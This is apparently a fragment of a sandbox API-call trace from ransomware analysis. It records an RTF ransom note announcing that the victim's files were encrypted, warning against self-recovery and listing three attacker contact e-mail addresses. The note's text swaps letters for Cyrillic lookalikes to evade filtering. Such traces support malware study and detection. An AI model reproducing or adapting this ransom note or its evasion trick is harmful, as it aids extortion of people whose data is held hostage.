H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R IN 24 H\\F1\\LANG1049\\'EE\\F0\\LANG1033 URS, PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 !\\PAR\r\n\\CF2\\FS28 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 K SP\\F1\\LANG1049\\'C0\\F0\\LANG1033 M F\\F1\\LANG1049\\'EE\\F0\\LANG1033 LD\\F1\\LANG1049\\'E5\\F0\\LANG1033 R!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\FS26 * \\I WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 N ENGLISH \\F1\\LANG1049\\'EE\\F0\\LANG1033 R US\\F1\\LANG1049\\'E5\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 F\\F1\\LANG1049\\'E5\\F0\\LANG1033 SSI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L TR\\F1\\LANG1049\\'E0\\F0\\LANG1033 NSL\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\I0\\PAR\r\n\\FS24\\PAR\r\n\\HIGHLIGHT3\\FS28 IN SUBJ\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 T LIN\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR P\\F1\\LANG1049\\'E5\\F0\\LANG1033 RS\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ID: \\B [KID]\\PAR\r\n\\HIGHLIGHT0\\PAR\r\nF\\F1\\LANG1049\\'EE\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 SSUR\\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E0\\'F1\\F0\\LANG1033 H UP T\\F1\\LANG1049\\'EE\\F0\\LANG1033 3 SM\\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 . W\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S F\\F1\\LANG1049\\'EE\\F0\\LANG1033 R FR\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 . \\PAR\r\n\\I\\F1\\FS24\\LANG1049 * \\F0\\LANG1033 \\F1\\LANG1049 \\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S MUST N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\'EE\\F0\\LANG1033 NT\\F1\\LANG1049\\'E0\\F0\\LANG1033 IN \\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F3\\F0\\LANG1033 V\\F1\\LANG1049\\'E0\\F0\\LANG1033 LU\\F1\\LANG1049\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 INF\\F1\\LANG1049\\'EE\\F0\\LANG1033 RM\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 IR T\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 L SIZ\\F1\\LANG1049\\'E5\\F0\\LANG1033 MUST B\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 N 5MB. \\PAR\r\n\\I0\\PAR\r\n\\CF4\\FS26 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'EE\\F0\\LANG1033 N'T W\\F1\\LANG1049\\'EE\\F0\\LANG1033 RR\\F1\\LANG1049\\'F3\\F0\\LANG1033 !\\PAR\r\nB\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N B\\F1\\LANG1049\\'E5\\F0\\LANG1033 REST\\F1\\LANG1049\\'CE\\F0\\LANG1033 RED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'C0\\F0\\LANG1033 Y!\\PAR\r\nW\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H 24/7 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\n\\CF0\\B0\\FS24\\PAR\r\n\\CF5\\B\\FS28 [RDM_STR]\\CF0\\F1\\FS32\\LANG1049\\PAR\r\n\r\n\\PARD\\SA200\\SL240\\SLMULT1\\PAR\r\n}\r\n") returned 0x36f0 [0033.902] CharUpperBuffW (in: lpsz="[EML3]", cchLength=0x6 | out: lpsz="[EML3]") returned 0x6 [0033.902] CharUpperBuffW (in: lpsz="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b [KID]\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 